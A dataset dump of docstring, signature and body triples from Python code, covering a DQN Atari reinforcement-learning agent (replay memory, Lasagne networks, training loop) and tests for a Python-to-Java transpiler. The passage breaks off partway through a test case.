desc
stringlengths
3
26.7k
decl
stringlengths
11
7.89k
bodies
stringlengths
8
553k
'Add a time step record. Arguments: img -- observed image action -- action chosen by the agent reward -- reward received after taking the action terminal -- boolean indicating whether the episode ended after this time step'
def add_sample(self, img, action, reward, terminal):
self.imgs[self.top] = img self.actions[self.top] = action self.rewards[self.top] = reward self.terminal[self.top] = terminal if (self.size == self.max_steps): self.bottom = ((self.bottom + 1) % self.max_steps) else: self.size += 1 self.top = ((self.top + 1) % self.max_steps)
'Return an approximate count of stored state transitions.'
def __len__(self):
return max(0, (self.size - self.phi_length))
'Return the most recent phi (sequence of image frames).'
def last_phi(self):
indexes = np.arange((self.top - self.phi_length), self.top) return self.imgs.take(indexes, axis=0, mode='wrap')
'Return a phi (sequence of image frames), using the last phi_length - 1, plus img.'
def phi(self, img):
indexes = np.arange(((self.top - self.phi_length) + 1), self.top) phi = np.empty((self.phi_length, self.height, self.width), dtype=floatX) phi[0:(self.phi_length - 1)] = self.imgs.take(indexes, axis=0, mode='wrap') phi[(-1)] = img return phi
'Return corresponding imgs, actions, rewards, and terminal status for batch_size randomly chosen state transitions.'
def random_batch(self, batch_size):
imgs = np.zeros((batch_size, (self.phi_length + 1), self.height, self.width), dtype='uint8') actions = np.zeros((batch_size, 1), dtype='int32') rewards = np.zeros((batch_size, 1), dtype=floatX) terminal = np.zeros((batch_size, 1), dtype='bool') count = 0 while (count < batch_size): index = self.rng.randint(self.bottom, ((self.bottom + self.size) - self.phi_length)) all_indices = np.arange(index, ((index + self.phi_length) + 1)) end_index = ((index + self.phi_length) - 1) if np.any(self.terminal.take(all_indices[0:(-2)], mode='wrap')): continue imgs[count] = self.imgs.take(all_indices, axis=0, mode='wrap') actions[count] = self.actions.take(end_index, mode='wrap') rewards[count] = self.rewards.take(end_index, mode='wrap') terminal[count] = self.terminal.take(end_index, mode='wrap') count += 1 return (imgs, actions, rewards, terminal)
'Train one batch. Arguments: imgs - b x (f + 1) x h x w numpy array, where b is batch size, f is num frames, h is height and w is width. actions - b x 1 numpy array of integers rewards - b x 1 numpy array terminals - b x 1 numpy boolean array (currently ignored) Returns: average loss'
def train(self, imgs, actions, rewards, terminals):
self.imgs_shared.set_value(imgs) self.actions_shared.set_value(actions) self.rewards_shared.set_value(rewards) self.terminals_shared.set_value(terminals) if ((self.freeze_interval > 0) and ((self.update_counter % self.freeze_interval) == 0)): self.reset_q_hat() loss = self._train() self.update_counter += 1 return np.sqrt(loss)
'Build a large network consistent with the DeepMind Nature paper.'
def build_nature_network(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import cuda_convnet l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = cuda_convnet.Conv2DCCLayer(l_in, num_filters=32, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1), dimshuffle=True) l_conv2 = cuda_convnet.Conv2DCCLayer(l_conv1, num_filters=64, filter_size=(4, 4), stride=(2, 2), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1), dimshuffle=True) l_conv3 = cuda_convnet.Conv2DCCLayer(l_conv2, num_filters=64, filter_size=(3, 3), stride=(1, 1), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1), dimshuffle=True) l_hidden1 = lasagne.layers.DenseLayer(l_conv3, num_units=512, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) l_out = lasagne.layers.DenseLayer(l_hidden1, num_units=output_dim, nonlinearity=None, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) return l_out
'Build a large network consistent with the DeepMind Nature paper.'
def build_nature_network_dnn(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import dnn l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = dnn.Conv2DDNNLayer(l_in, num_filters=32, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) l_conv2 = dnn.Conv2DDNNLayer(l_conv1, num_filters=64, filter_size=(4, 4), stride=(2, 2), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) l_conv3 = dnn.Conv2DDNNLayer(l_conv2, num_filters=64, filter_size=(3, 3), stride=(1, 1), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) l_hidden1 = lasagne.layers.DenseLayer(l_conv3, num_units=512, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) l_out = lasagne.layers.DenseLayer(l_hidden1, num_units=output_dim, nonlinearity=None, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) return l_out
'Build a network consistent with the 2013 NIPS paper.'
def build_nips_network(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import cuda_convnet l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = cuda_convnet.Conv2DCCLayer(l_in, num_filters=16, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1), dimshuffle=True) l_conv2 = cuda_convnet.Conv2DCCLayer(l_conv1, num_filters=32, filter_size=(4, 4), stride=(2, 2), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1), dimshuffle=True) l_hidden1 = lasagne.layers.DenseLayer(l_conv2, num_units=256, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) l_out = lasagne.layers.DenseLayer(l_hidden1, num_units=output_dim, nonlinearity=None, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) return l_out
'Build a network consistent with the 2013 NIPS paper.'
def build_nips_network_dnn(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import dnn l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = dnn.Conv2DDNNLayer(l_in, num_filters=16, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) l_conv2 = dnn.Conv2DDNNLayer(l_conv1, num_filters=32, filter_size=(4, 4), stride=(2, 2), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) l_hidden1 = lasagne.layers.DenseLayer(l_conv2, num_units=256, nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) l_out = lasagne.layers.DenseLayer(l_hidden1, num_units=output_dim, nonlinearity=None, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) return l_out
'Build a simple linear learner. Useful for creating tests that sanity-check the weight update code.'
def build_linear_network(self, input_width, input_height, output_dim, num_frames, batch_size):
l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_out = lasagne.layers.DenseLayer(l_in, num_units=output_dim, nonlinearity=None, W=lasagne.init.Constant(0.0), b=None) return l_out
'This method is called once at the beginning of each episode. No reward is provided, because reward is only available after an action has been taken. Arguments: observation - height x width numpy array Returns: An integer action'
def start_episode(self, observation):
self.step_counter = 0 self.batch_counter = 0 self.episode_reward = 0 self.loss_averages = [] self.start_time = time.time() return_action = self.rng.randint(0, self.num_actions) self.last_action = return_action self.last_img = observation return return_action
'This method is called each time step. Arguments: reward - Real valued reward. observation - A height x width numpy array Returns: An integer action.'
def step(self, reward, observation):
self.step_counter += 1 if self.testing: self.episode_reward += reward action = self._choose_action(self.test_data_set, 0.05, observation, np.clip(reward, (-1), 1)) elif (len(self.data_set) > self.replay_start_size): self.epsilon = max(self.epsilon_min, (self.epsilon - self.epsilon_rate)) action = self._choose_action(self.data_set, self.epsilon, observation, np.clip(reward, (-1), 1)) if ((self.step_counter % self.update_frequency) == 0): loss = self._do_training() self.batch_counter += 1 self.loss_averages.append(loss) else: action = self._choose_action(self.data_set, self.epsilon, observation, np.clip(reward, (-1), 1)) self.last_action = action self.last_img = observation return action
'Add the most recent data to the data set and choose an action based on the current policy.'
def _choose_action(self, data_set, epsilon, cur_img, reward):
data_set.add_sample(self.last_img, self.last_action, reward, False) if (self.step_counter >= self.phi_length): phi = data_set.phi(cur_img) action = self.network.choose_action(phi, epsilon) else: action = self.rng.randint(0, self.num_actions) return action
'Returns the average loss for the current batch. May be overridden if a subclass needs to train the network differently.'
def _do_training(self):
(imgs, actions, rewards, terminals) = self.data_set.random_batch(self.network.batch_size) return self.network.train(imgs, actions, rewards, terminals)
'This function is called once at the end of an episode. Arguments: reward - Real valued reward. terminal - Whether the episode ended intrinsically (ie we didn\'t run out of steps) Returns: None'
def end_episode(self, reward, terminal=True):
self.episode_reward += reward self.step_counter += 1 total_time = (time.time() - self.start_time) if self.testing: if (terminal or (self.episode_counter == 0)): self.episode_counter += 1 self.total_reward += self.episode_reward else: self.data_set.add_sample(self.last_img, self.last_action, np.clip(reward, (-1), 1), True) rho = 0.98 self.steps_sec_ema *= rho self.steps_sec_ema += ((1.0 - rho) * (self.step_counter / total_time)) logging.info('steps/second: {:.2f}, avg: {:.2f}'.format((self.step_counter / total_time), self.steps_sec_ema)) if (self.batch_counter > 0): self._update_learning_file() logging.info('average loss: {:.4f}'.format(np.mean(self.loss_averages)))
'action 0 is left, 1 is right.'
def act(self, state, action_index):
state_index = np.nonzero(state[0, 0, 0, :])[0][0] next_index = state_index if (np.random.random() < self.success_prob): next_index = ((state_index + (action_index * 2)) - 1) if (next_index == (-1)): return (self.reward_left, self.states[(-1)], np.array([[True]])) if (next_index == (self.num_states - 1)): return (self.reward_right, self.states[(-1)], np.array([[True]])) if (np.random.random() < self.success_prob): return (self.reward_zero, self.states[((state_index + (action_index * 2)) - 1)], np.array([[False]])) else: return (self.reward_zero, self.states[state_index], np.array([[False]]))
'Helper method to get the entire Q-table'
def all_q_vals(self, net):
q_vals = np.zeros((self.mdp.num_states, self.mdp.num_actions)) for i in range(self.mdp.num_states): q_vals[i, :] = net.q_vals(self.mdp.states[i][0]) return q_vals
'This test will only pass if terminal states are handled correctly. Otherwise the random initialization of the value of the terminal state will propagate back.'
def test_convergence_random_initialization(self):
freeze_interval = (-1) net = self.make_net(freeze_interval) params = lasagne.layers.helper.get_all_param_values(net.l_out) rand = np.random.random(params[0].shape) rand = numpy.array(rand, dtype=theano.config.floatX) lasagne.layers.helper.set_all_param_values(net.l_out, [rand]) self.train(net, 1000) numpy.testing.assert_almost_equal(self.all_q_vals(net)[0:3, :], [[0.7, 0.25], [0.35, 0.5], [0.25, 1.0]], 3)
'Run the desired number of training epochs, a testing epoch is conducted after each training epoch.'
def run(self):
for epoch in range(1, (self.num_epochs + 1)): self.run_epoch(epoch, self.epoch_length) self.agent.finish_epoch(epoch) if (self.test_length > 0): self.agent.start_testing() self.run_epoch(epoch, self.test_length, True) self.agent.finish_testing(epoch)
'Run one \'epoch\' of training or testing, where an epoch is defined by the number of steps executed. Prints a progress report after every trial Arguments: epoch - the current epoch number num_steps - steps per epoch testing - True if this Epoch is used for testing and not training'
def run_epoch(self, epoch, num_steps, testing=False):
self.terminal_lol = False steps_left = num_steps while (steps_left > 0): prefix = ('testing' if testing else 'training') logging.info(((((prefix + ' epoch: ') + str(epoch)) + ' steps_left: ') + str(steps_left))) (_, num_steps) = self.run_episode(steps_left, testing) steps_left -= num_steps
'This method resets the game if needed, performs enough null actions to ensure that the screen buffer is ready and optionally performs a randomly determined number of null action to randomize the initial game state.'
def _init_episode(self):
if ((not self.terminal_lol) or self.ale.game_over()): self.ale.reset_game() if (self.max_start_nullops > 0): random_actions = self.rng.randint(0, (self.max_start_nullops + 1)) for _ in range(random_actions): self._act(0) self._act(0) self._act(0)
'Perform the indicated action for a single frame, return the resulting reward and store the resulting screen image in the buffer'
def _act(self, action):
reward = self.ale.act(action) index = (self.buffer_count % self.buffer_length) self.ale.getScreenGrayscale(self.screen_buffer[index, ...]) self.buffer_count += 1 return reward
'Repeat one action the appopriate number of times and return the summed reward.'
def _step(self, action):
reward = 0 for _ in range(self.frame_skip): reward += self._act(action) return reward
'Run a single training episode. The boolean terminal value returned indicates whether the episode ended because the game ended or the agent died (True) or because the maximum number of steps was reached (False). Currently this value will be ignored. Return: (terminal, num_steps)'
def run_episode(self, max_steps, testing):
self._init_episode() start_lives = self.ale.lives() action = self.agent.start_episode(self.get_observation()) num_steps = 0 while True: reward = self._step(self.min_action_set[action]) self.terminal_lol = (self.death_ends_episode and (not testing) and (self.ale.lives() < start_lives)) terminal = (self.ale.game_over() or self.terminal_lol) num_steps += 1 if (terminal or (num_steps >= max_steps)): self.agent.end_episode(reward, terminal) break action = self.agent.step(reward, self.get_observation()) return (terminal, num_steps)
'Resize and merge the previous two screen images'
def get_observation(self):
assert (self.buffer_count >= 2) index = ((self.buffer_count % self.buffer_length) - 1) max_image = np.maximum(self.screen_buffer[index, ...], self.screen_buffer[(index - 1), ...]) return self.resize_image(max_image)
'Appropriately resize a single image'
def resize_image(self, image):
if (self.resize_method == 'crop'): resize_height = int(round(((float(self.height) * self.resized_width) / self.width))) resized = cv2.resize(image, (self.resized_width, resize_height), interpolation=cv2.INTER_LINEAR) crop_y_cutoff = ((resize_height - CROP_OFFSET) - self.resized_height) cropped = resized[crop_y_cutoff:(crop_y_cutoff + self.resized_height), :] return cropped elif (self.resize_method == 'scale'): return cv2.resize(image, (self.resized_width, self.resized_height), interpolation=cv2.INTER_LINEAR) else: raise ValueError('Unrecognized image resize method.')
'Run code as native python, and under Java and check the output is identical'
def assertCodeExecution(self, code, message=None, extra_code=None, run_in_global=True, run_in_function=True, exits_early=False, args=None, substitutions=None):
self.maxDiff = None if run_in_global: try: self.makeTempDir() adj_code = adjust(code, run_in_function=False) adj_code += ('\nprint("%s")\n' % END_OF_CODE_STRING) py_out = runAsPython(self.temp_dir, adj_code, extra_code, args=args) java_out = self.runAsJava(adj_code, extra_code, args=args) except Exception as e: self.fail(e) finally: shutil.rmtree(self.temp_dir) java_out = cleanse_java(java_out, substitutions) py_out = cleanse_python(py_out, substitutions) if message: context = ('Global context: %s' % message) else: context = 'Global context' self.assertEqual(java_out, py_out, context) substring_start = (- (len(END_OF_CODE_STRING) + 1)) if exits_early: self.assertNotEqual(java_out[substring_start:], END_OF_CODE_STRING_NEWLINE) self.assertNotEqual(py_out[substring_start:], END_OF_CODE_STRING_NEWLINE) else: self.assertEqual(java_out[substring_start:], END_OF_CODE_STRING_NEWLINE) self.assertEqual(py_out[substring_start:], END_OF_CODE_STRING_NEWLINE) if run_in_function: try: self.makeTempDir() adj_code = adjust(code, run_in_function=True) adj_code += ('\nprint("%s")\n' % END_OF_CODE_STRING) py_out = runAsPython(self.temp_dir, adj_code, extra_code, args=args) java_out = self.runAsJava(adj_code, extra_code, args=args) except Exception as e: self.fail(e) finally: shutil.rmtree(self.temp_dir) java_out = cleanse_java(java_out, substitutions) py_out = cleanse_python(py_out, substitutions) if message: context = ('Function context: %s' % message) else: context = 'Function context' self.assertEqual(java_out, py_out, context) substring_start = (- (len(END_OF_CODE_STRING) + 1)) if exits_early: self.assertNotEqual(java_out[substring_start:], END_OF_CODE_STRING_NEWLINE) self.assertNotEqual(py_out[substring_start:], END_OF_CODE_STRING_NEWLINE) else: self.assertEqual(java_out[substring_start:], END_OF_CODE_STRING_NEWLINE) self.assertEqual(py_out[substring_start:], END_OF_CODE_STRING_NEWLINE)
'Run code under Java and check the output is as expected'
def assertJavaExecution(self, code, out, extra_code=None, java=None, run_in_global=True, run_in_function=True, args=None, substitutions=None):
global _output_dir self.maxDiff = None try: java_dir = os.path.join(_output_dir, 'java') try: os.makedirs(java_dir) except FileExistsError: pass java_compile_out = compileJava(java_dir, java) if java_compile_out: self.fail(java_compile_out) py_out = adjust(out) if run_in_global: try: self.makeTempDir() java_out = self.runAsJava(adjust(code), extra_code, args=args) except Exception as e: self.fail(e) finally: shutil.rmtree(self.temp_dir) java_out = cleanse_java(java_out, substitutions) self.assertEqual(java_out, py_out, 'Global context') if run_in_function: try: self.makeTempDir() java_out = self.runAsJava(adjust(code, run_in_function=True), extra_code, args=args) except Exception as e: self.fail(e) finally: shutil.rmtree(self.temp_dir) java_out = cleanse_java(java_out, substitutions) self.assertEqual(java_out, py_out, 'Function context') finally: if os.path.exists(java_dir): shutil.rmtree(java_dir)
'Create a "temp" subdirectory in the class\'s generated temporary directory if it doesn\'t currently exist.'
def makeTempDir(self):
try: os.mkdir(self.temp_dir) except FileExistsError: pass
'Run a block of Python code as a Java program.'
def runAsJava(self, main_code, extra_code=None, args=None):
transpiler = Transpiler(verbosity=0) with capture_output(redirect_stderr=False): transpiler.transpile_string('test.py', main_code) if extra_code: for (name, code) in extra_code.items(): transpiler.transpile_string(('%s.py' % name.replace('.', os.path.sep)), adjust(code)) transpiler.write(self.temp_dir) if (args is None): args = [] if (len(args) == 0): self.jvm.stdin.write('python.test\n'.encode('utf-8')) self.jvm.stdin.flush() out = '' while True: try: line = self.jvm.stdout.readline().decode('utf-8') if (line == '.{0}'.format(os.linesep)): break else: out += line except IOError as e: continue else: classpath = os.pathsep.join([os.path.join('..', 'dist', 'python-java-support.jar'), os.path.join('..', 'java'), os.curdir]) proc = subprocess.Popen((['java', '-classpath', classpath, 'python.test'] + args), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=self.temp_dir) out = proc.communicate()[0].decode('utf8') return out
'A test is expected to fail if: (a) Its name can be found in the test case\'s \'not_implemented\' list (b) Its name can be found in the test case\'s \'is_flakey\' list (c) Its name can be found in the test case\'s \'not_implemented_versions\' dictionary _and_ the current python version is in the dict entry\'s list :return: True if test is expected to fail'
def _is_not_implemented(self):
method_name = self._testMethodName if (method_name in getattr(self, 'not_implemented', [])): return True if self._is_flakey(): return True not_implemented_versions = getattr(self, 'not_implemented_versions', {}) if (method_name in not_implemented_versions): py_version = float(('%s.%s' % (sys.version_info.major, sys.version_info.minor))) if (py_version in not_implemented_versions[method_name]): return True return False
'Test exception for large code of an anonymous block.'
def test_block_large_code(self):
large_code = ('print(1 + 2)\n' * 3000) transpiler = Transpiler(verbosity=0) self.assertRaises(BlockCodeTooLarge, transpiler.transpile_string, 'test.py', large_code)
'Test exception for large code of a method.'
def test_method_large_code(self):
large_code = ('def test():\n' + (' print(1 + 2)\n' * 3000)) transpiler = Transpiler(verbosity=0) self.assertRaises(MethodCodeTooLarge, transpiler.transpile_string, 'test.py', large_code)
'You can import a Python module implemented in Java (a native stdlib shim)'
def test_import_stdlib_module(self):
self.assertCodeExecution('\n import time\n\n time.time()\n\n print("Done.")\n ')
'You can import a Python module implemented in Python'
def test_import_module(self):
self.assertCodeExecution('\n import example\n\n example.some_method()\n\n print("Done.")\n ', extra_code={'example': '\n print("Now we\'re in the example module")\n\n def some_method():\n print("Now we\'re calling a module method")\n '})
'You can import a Python module with if __name__ == \'__main__\''
def test_import_module_main(self):
self.assertCodeExecution('\n import example\n\n print(\'A\')\n\n if __name__ == "__main__":\n print(\'main\')\n\n print(\'B\')\n ', extra_code={'example': '\n print(\'C\')\n\n if __name__ == "__main__":\n print(\'example main\')\n\n print(\'D\')\n '})
'You can import a multiple Python modules implemented in Python'
def test_multiple_module_import(self):
self.assertCodeExecution('\n import example, other\n\n example.some_method()\n\n other.other_method()\n\n print("Done.")\n ', extra_code={'example': '\n print("Now we\'re in the example module")\n\n def some_method():\n print("Now we\'re calling a module method")\n ', 'other': '\n print("Now we\'re in the other module")\n\n def other_method():\n print("Now we\'re calling another module method")\n '})
'You can invoke a static method from a native Java namespace'
def test_import_java_module_static_method(self):
self.assertJavaExecution('\n from java import lang\n\n props = lang.System.getProperties()\n print(props.get("file.separator"))\n\n print("Done.")\n ', ('\n %s\n Done.\n ' % os.path.sep))
'You can invoke a static method from a native Java class'
def test_import_java_class_static_method(self):
self.assertJavaExecution('\n from java.lang import System\n\n props = System.getProperties()\n print(props.get("file.separator"))\n\n print("Done.")\n ', ('\n %s\n Done.\n ' % os.path.sep))
'You can import a native Java namespace as a Python module'
def test_import_java_module(self):
self.assertJavaExecution('\n from java import lang\n\n buf = lang.StringBuilder()\n buf.append(\'Hello, \')\n buf.append(\'World\')\n print(buf.toString())\n\n print("Done.")\n ', '\n Hello, World\n Done.\n ')
'You can import a native Java class as a Python module'
def test_import_java_class(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n buf = StringBuilder()\n buf.append(\'Hello, \')\n buf.append(\'World\')\n print(buf.toString())\n\n print("Done.")\n ', '\n Hello, World\n Done.\n ')
'The appropriate constructor for a native Java class can be interpolated from args'
def test_multiple_constructors(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n builder = StringBuilder("Hello, ")\n\n builder.append("world")\n\n print(builder)\n print("Done.")\n ', '\n Hello, world\n Done.\n ', run_in_function=False)
'The most specific constructor for a native Java class will be selected based on argument.'
def test_most_specific_constructor(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n obj1 = MyClass()\n obj2 = MyClass(1.234)\n obj3 = MyClass(3742)\n\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public MyClass() {\n System.out.println("No argument");\n }\n\n public MyClass(int arg) {\n System.out.println("Integer argument " + arg);\n }\n\n public MyClass(double arg) {\n System.out.println("Double argument " + arg);\n }\n }\n '}, out='\n No argument\n Double argument 1.234\n Integer argument 3742\n Done.\n ', run_in_function=False)
'Native fields on an instance can be accessed'
def test_field(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Field is", MyClass.field)\n print("Field from instance is", obj1.field)\n obj1.field = 37\n print("Updated Field from instance is", obj1.field)\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public int field = 42;\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Field is <unbound native field public int com.example.MyClass.field>\n Field from instance is 42\n Updated Field from instance is 37\n Done.\n ")
'Class constants can be accessed'
def test_static_field(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Static field is", MyClass.static_field)\n MyClass.static_field = 37\n print("Updated static field is", MyClass.static_field)\n print("Static field from instance is", obj1.static_field)\n MyClass.static_field = 42\n print("Updated static field from instance is", obj1.static_field)\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public static int static_field = 42;\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Static field is 42\n Updated static field is 37\n Static field from instance is 37\n Updated static field from instance is 42\n Done.\n ")
'Native fields defined on a superclass can be accessed'
def test_superclass_field(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Base field on superclass is", MyBase.base_field)\n print("Base field is", MyClass.base_field)\n print("Base field from instance is", obj1.base_field)\n print("Field is", MyClass.field)\n print("Field from instance is", obj1.field)\n print("Done.")\n ', java={'com/example/MyBase': '\n package com.example;\n\n public class MyBase {\n public int base_field = 37;\n }\n ', 'com/example/MyClass': '\n package com.example;\n\n public class MyClass extends MyBase {\n public int field = 42;\n }\n '}, out="\n Base class is <class 'com.example.MyBase'>\n Class is <class 'com.example.MyClass'>\n Base field on superclass is <unbound native field public int com.example.MyBase.base_field>\n Base field is <unbound native field public int com.example.MyBase.base_field>\n Base field from instance is 37\n Field is <unbound native field public int com.example.MyClass.field>\n Field from instance is 42\n Done.\n ")
'Native static fields defined on a superclass can be accessed'
def test_superclass_static_field(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Static base field on superclass is", MyBase.base_static_field)\n print("Static base field is", MyClass.base_static_field)\n print("Static base field from instance is", obj1.base_static_field)\n print("Static field is", MyClass.static_field)\n print("Static field from instance is", obj1.static_field)\n print("Done.")\n ', java={'com/example/MyBase': '\n package com.example;\n\n public class MyBase {\n public static int base_static_field = 37;\n }\n ', 'com/example/MyClass': '\n package com.example;\n\n public class MyClass extends MyBase {\n public static int static_field = 42;\n }\n '}, out="\n Base class is <class 'com.example.MyBase'>\n Class is <class 'com.example.MyClass'>\n Static base field on superclass is 37\n Static base field is 37\n Static base field from instance is 37\n Static field is 42\n Static field from instance is 42\n Done.\n ")
'Instance constants can be accessed'
def test_constant(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Constant is", MyClass.CONSTANT)\n print("Constant from instance is", obj1.CONSTANT)\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public final int CONSTANT = 42;\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Constant is <unbound native field public final int com.example.MyClass.CONSTANT>\n Constant from instance is 42\n Done.\n ")
'Class constants can be accessed'
def test_static_constant(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n print("Static constant is", MyClass.STATIC_CONSTANT)\n print("Static constant from instance is", obj1.STATIC_CONSTANT)\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public static final int STATIC_CONSTANT = 42;\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Static constant is 42\n Static constant from instance is 42\n Done.\n ")
'Native methods on an instance can be accessed'
def test_method(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj = MyClass()\n print("Method is", MyClass.method)\n print("Method from instance is", obj.method)\n obj.method()\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public void method() {\n System.out.println("Hello from the instance!");\n }\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Method is <native function com.example.MyClass.method>\n Method from instance is <bound native method com.example.MyClass.method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the instance!\n Done.\n ")
'Native static methods on an instance can be accessed'
def test_static_method(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj = MyClass()\n print("Static method is", MyClass.method)\n MyClass.method()\n print("Static method from instance is", obj.method)\n obj.method()\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public static void method() {\n System.out.println("Hello from the class!");\n }\n }\n '}, out="\n Class is <class 'com.example.MyClass'>\n Static method is <native function com.example.MyClass.method>\n Hello from the class!\n Static method from instance is <bound native method com.example.MyClass.method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the class!\n Done.\n ")
'Native methods defined on a superclass can be accessed'
def test_superclass_method(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n\n print("Base method on superclass is", MyBase.base_method)\n print("Method on superclass is", MyBase.method)\n\n print("Base method is", MyClass.base_method)\n print("Method is", MyClass.method)\n\n obj1 = MyBase()\n print("Base method from superclass instance is", obj1.base_method)\n obj1.base_method()\n print("Method from superclass instance is", obj1.method)\n obj1.method()\n\n obj2 = MyClass()\n print("Base method from instance is", obj2.base_method)\n obj2.base_method()\n print("Method from instance is", obj2.method)\n obj2.method()\n print("Done.")\n ', java={'com/example/MyBase': '\n package com.example;\n\n public class MyBase {\n public void base_method() {\n System.out.println("Hello from the base!");\n }\n\n public void method() {\n System.out.println("Goodbye from the base!");\n }\n }\n ', 'com/example/MyClass': '\n package com.example;\n\n public class MyClass extends MyBase {\n public void method() {\n System.out.println("Hello from the instance!");\n }\n }\n '}, out="\n Base class is <class 'com.example.MyBase'>\n Class is <class 'com.example.MyClass'>\n Base method on superclass is <native function com.example.MyBase.base_method>\n Method on superclass is <native function com.example.MyBase.method>\n Base method is <native function com.example.MyBase.base_method>\n Method is <native function com.example.MyClass.method>\n Base method from superclass instance is <bound native method com.example.MyBase.base_method of <Native com.example.MyBase object at 0xXXXXXXXX>>\n Hello from the base!\n Method from superclass instance is <bound native method com.example.MyBase.method of <Native com.example.MyBase object at 0xXXXXXXXX>>\n Goodbye from the base!\n Base method from instance is <bound native method com.example.MyBase.base_method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the base!\n Method from instance is <bound native method com.example.MyClass.method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the instance!\n Done.\n ")
'Native static methods defined on a superclass can be accessed'
def test_superclass_static_method(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n\n print("Static base method on superclass is", MyBase.base_static_method)\n MyBase.base_static_method()\n print("Static method on superclass is", MyBase.static_method)\n MyBase.static_method()\n\n print("Static base method is", MyClass.base_static_method)\n MyClass.base_static_method()\n print("Static method is", MyClass.static_method)\n MyClass.static_method()\n\n obj1 = MyBase()\n print("Base static method from superclass instance is", obj1.base_static_method)\n obj1.base_static_method()\n print("Static method from superclass instance is", obj1.static_method)\n obj1.static_method()\n\n obj2 = MyClass()\n print("Base static method from instance is", obj2.base_static_method)\n obj2.base_static_method()\n print("Static method from instance is", obj2.static_method)\n obj2.static_method()\n print("Done.")\n ', java={'com/example/MyBase': '\n package com.example;\n\n public class MyBase {\n public static void base_static_method() {\n System.out.println("Hello from the base!");\n }\n\n public static void static_method() {\n System.out.println("Goodbye from the base!");\n 